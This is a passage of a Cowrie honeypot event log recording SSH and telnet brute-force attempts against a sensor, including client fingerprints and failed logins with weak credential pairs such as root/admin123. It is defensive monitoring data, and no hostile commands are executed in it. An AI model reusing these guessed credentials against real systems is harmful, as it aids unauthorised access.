ac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.355514Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:04:27:ef:99:3c:73:f9:51:75:a9:95:a1:88:29:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGf1BYPdAtQG06naSVYyKqSxghynuARZ1Sre7Cw1nLc7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f9:04:27:ef:99:3c:73:f9:51:75:a9:95:a1:88:29:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.743926Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:04:27:ef:99:3c:73:f9:51:75:a9:95:a1:88:29:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGf1BYPdAtQG06naSVYyKqSxghynuARZ1Sre7Cw1nLc7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.747912Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:75:dc:fd:15:a9:b6:c9:22:1a:70:82:17:2a:5b:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSQV2EwxgsH8PF/oyawsafJ+Fgb3T5uPqzrrxk63sv8+esHc4WUphJo3e1x5sanwszL//qOPb7KGHNFFZYtRXQQwVdrG7OLehbECHFVh+eVJejF1lK7gYWWH7jxnlI/BhSti3yY8jXBT4OsZC1M8ZC3sfcE/h3kwOlCkr2p+hicAEePUtldftiSUZ8crqjY4SqVzzAI0U7hyFi4y2lnyGddUKG2XphYCz8cG2MHIZN7iL+AtTkl6voHYuiozZBKQtbGn2y35SZki3iWrO/bJkhKMPMf0iACTRhAJl0dyzV7kCP5+/5lOl7iTR26/Bp2gsZ3f0DCns+R8f47kqeupNt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:75:dc:fd:15:a9:b6:c9:22:1a:70:82:17:2a:5b:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.833881Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:75:dc:fd:15:a9:b6:c9:22:1a:70:82:17:2a:5b:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSQV2EwxgsH8PF/oyawsafJ+Fgb3T5uPqzrrxk63sv8+esHc4WUphJo3e1x5sanwszL//qOPb7KGHNFFZYtRXQQwVdrG7OLehbECHFVh+eVJejF1lK7gYWWH7jxnlI/BhSti3yY8jXBT4OsZC1M8ZC3sfcE/h3kwOlCkr2p+hicAEePUtldftiSUZ8crqjY4SqVzzAI0U7hyFi4y2lnyGddUKG2XphYCz8cG2MHIZN7iL+AtTkl6voHYuiozZBKQtbGn2y35SZki3iWrO/bJkhKMPMf0iACTRhAJl0dyzV7kCP5+/5lOl7iTR26/Bp2gsZ3f0DCns+R8f47kqeupNt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.838170Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:ae:89:73:08:56:a9:82:a1:34:21:9c:81:d5:0e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/loqU8LGL7Q8laGCh9SIVLM+uFjfmlya0/6TCVREx/ZSPlSUfztm984GN3/O4BPawyc9zZ5/slSVzgU7GO7WEbQcNlKrvRYU11uR2I9jNf8w+GOXt5QuMPu11KehhJSH2zbrsjOvudr6VGU30Cd1FheCo++oMoxU4hhu6uJl94aWH0NJkC+32ybsAVdPE+NWliw9ILjqDUoab7J7WvfDKvwsjkfDKilkQArwQWNoK3Lte15HBSX+AvplVvWKM9Tv+6ArLeu1BC42Y640q39vkn+oyrh3LafuVOU/tn+M2zI3XKQixmZYaM/IjjUNDKW3yiR3wL2LPfO0RhSEkf3M/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:ae:89:73:08:56:a9:82:a1:34:21:9c:81:d5:0e:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.921766Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:ae:89:73:08:56:a9:82:a1:34:21:9c:81:d5:0e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/loqU8LGL7Q8laGCh9SIVLM+uFjfmlya0/6TCVREx/ZSPlSUfztm984GN3/O4BPawyc9zZ5/slSVzgU7GO7WEbQcNlKrvRYU11uR2I9jNf8w+GOXt5QuMPu11KehhJSH2zbrsjOvudr6VGU30Cd1FheCo++oMoxU4hhu6uJl94aWH0NJkC+32ybsAVdPE+NWliw9ILjqDUoab7J7WvfDKvwsjkfDKilkQArwQWNoK3Lte15HBSX+AvplVvWKM9Tv+6ArLeu1BC42Y640q39vkn+oyrh3LafuVOU/tn+M2zI3XKQixmZYaM/IjjUNDKW3yiR3wL2LPfO0RhSEkf3M/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.925591Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:18:66:ec:71:3c:3a:a8:87:bd:f0:55:8f:fd:5e:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm53pCniKNfUGvIM2Ef8pQS9RPncrtF6V1MQWK6ZGZ6roY4a0HiB98GzLDS2VQIgNfJ4yzdaik+sNRoNDVU7HLIhST5SfrU+VkUQMWPCYKPuMGlnOR/yJVze5xGosdJVBr50xHoQzhIMKQIEpAplrqY0bp/OUtHuu0R0qeSCBWQeTB4I2480riP2YmMy/95G4/qOcodTJPcA/TqDTV0CZDlS6U5m9e0Fvh5vudB9pjJunRT7/UgCvv+TyXI8Bv9Scy4Im/nTke4rq/tafTClCT5gdOjC901X5ZQ43yKCAeB1lqQqr5gH6/APpF9RhVs235l+Baklyl2nw7XE/6W8fd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:18:66:ec:71:3c:3a:a8:87:bd:f0:55:8f:fd:5e:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:27.008134Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:18:66:ec:71:3c:3a:a8:87:bd:f0:55:8f:fd:5e:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm53pCniKNfUGvIM2Ef8pQS9RPncrtF6V1MQWK6ZGZ6roY4a0HiB98GzLDS2VQIgNfJ4yzdaik+sNRoNDVU7HLIhST5SfrU+VkUQMWPCYKPuMGlnOR/yJVze5xGosdJVBr50xHoQzhIMKQIEpAplrqY0bp/OUtHuu0R0qeSCBWQeTB4I2480riP2YmMy/95G4/qOcodTJPcA/TqDTV0CZDlS6U5m9e0Fvh5vudB9pjJunRT7/UgCvv+TyXI8Bv9Scy4Im/nTke4rq/tafTClCT5gdOjC901X5ZQ43yKCAeB1lqQqr5gH6/APpF9RhVs235l+Baklyl2nw7XE/6W8fd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:27.012031Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:8b:36:d9:9c:f1:6f:32:f6:39:1c:08:85:da:c0:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsKUypHaK9NKx1h1KrmRDMqshU7MNmsixCmHw2GCdaF8agpI4PxeWtqzz+WlJkfuT5alwyb3R4OAjQ1TBvUCutT1Qd+tCV30edDgjns8ZcmLKosmsqyet9v8F37tk4blHgKToefrh0nJm2rBFXOH7TzAw12ZRndjRtdB5R0XGa2xznwt5ZaUeGwN/z14Xg7n7jmN95/MZh/JnefM6nGzwf4/dgcu7B1dlN31SclBF19/VInzTNVKLuxqgxLZRk66LfHM8QxDmx5YrgQS/Y7oS0DNGlNgJ1JlsdkFFhXkPJyMMNwaLgm0IUORU3zxNvdM6PpK4QX3RxZMrOCqE8iDZTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:8b:36:d9:9c:f1:6f:32:f6:39:1c:08:85:da:c0:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:27.094630Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:8b:36:d9:9c:f1:6f:32:f6:39:1c:08:85:da:c0:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsKUypHaK9NKx1h1KrmRDMqshU7MNmsixCmHw2GCdaF8agpI4PxeWtqzz+WlJkfuT5alwyb3R4OAjQ1TBvUCutT1Qd+tCV30edDgjns8ZcmLKosmsqyet9v8F37tk4blHgKToefrh0nJm2rBFXOH7TzAw12ZRndjRtdB5R0XGa2xznwt5ZaUeGwN/z14Xg7n7jmN95/MZh/JnefM6nGzwf4/dgcu7B1dlN31SclBF19/VInzTNVKLuxqgxLZRk66LfHM8QxDmx5YrgQS/Y7oS0DNGlNgJ1JlsdkFFhXkPJyMMNwaLgm0IUORU3zxNvdM6PpK4QX3RxZMrOCqE8iDZTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:27.097634Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:27.180673Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37580,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aa965d6c8ad","protocol":"ssh","message":"New connection: 45.153.34.114:37580 (159.203.135.109:22) [session: 7aa965d6c8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:30.641193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:30.646453Z","src_ip":"45.153.34.114","session":"7aa965d6c8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:30.736602Z","src_ip":"45.153.34.114","session":"7aa965d6c8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:31.005310Z","src_ip":"45.153.34.114","session":"7aa965d6c8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:32.094235Z","src_ip":"45.153.34.114","session":"7aa965d6c8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14230251312256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:37.412094Z","src_ip":"74.91.213.120","session":"ad072ec194df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37588,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a338abdc3ae","protocol":"ssh","message":"New connection: 45.153.34.114:37588 (159.203.135.109:22) [session: 4a338abdc3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:38.998328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:39.002813Z","src_ip":"45.153.34.114","session":"4a338abdc3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:39.093114Z","src_ip":"45.153.34.114","session":"4a338abdc3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:39.346789Z","src_ip":"45.153.34.114","session":"4a338abdc3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:40.492056Z","src_ip":"45.153.34.114","session":"4a338abdc3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.221405744552612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:45.747506Z","src_ip":"74.91.213.120","session":"d0f5599e25b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60182,"dst_ip":"159.203.135.109","dst_port":22,"session":"9490e3acfc45","protocol":"ssh","message":"New connection: 45.153.34.114:60182 (159.203.135.109:22) [session: 9490e3acfc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:47.311833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:47.316411Z","src_ip":"45.153.34.114","session":"9490e3acfc45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:47.403411Z","src_ip":"45.153.34.114","session":"9490e3acfc45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:47.696184Z","src_ip":"45.153.34.114","session":"9490e3acfc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:48.785097Z","src_ip":"45.153.34.114","session":"9490e3acfc45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35772,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4cba6bc2de2","protocol":"ssh","message":"New connection: 45.153.34.114:35772 (159.203.135.109:22) [session: c4cba6bc2de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:55.252750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:55.257581Z","src_ip":"45.153.34.114","session":"c4cba6bc2de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:55.343360Z","src_ip":"45.153.34.114","session":"c4cba6bc2de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:55.613939Z","src_ip":"45.153.34.114","session":"c4cba6bc2de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:56.722645Z","src_ip":"45.153.34.114","session":"c4cba6bc2de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51058,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a75c6c51a5c","protocol":"ssh","message":"New connection: 45.153.34.114:51058 (159.203.135.109:22) [session: 3a75c6c51a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:03.495582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:03.501058Z","src_ip":"45.153.34.114","session":"3a75c6c51a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:03.600618Z","src_ip":"45.153.34.114","session":"3a75c6c51a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:03.856398Z","src_ip":"45.153.34.114","session":"3a75c6c51a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:04.956932Z","src_ip":"45.153.34.114","session":"3a75c6c51a5c","protocol":"ssh"}
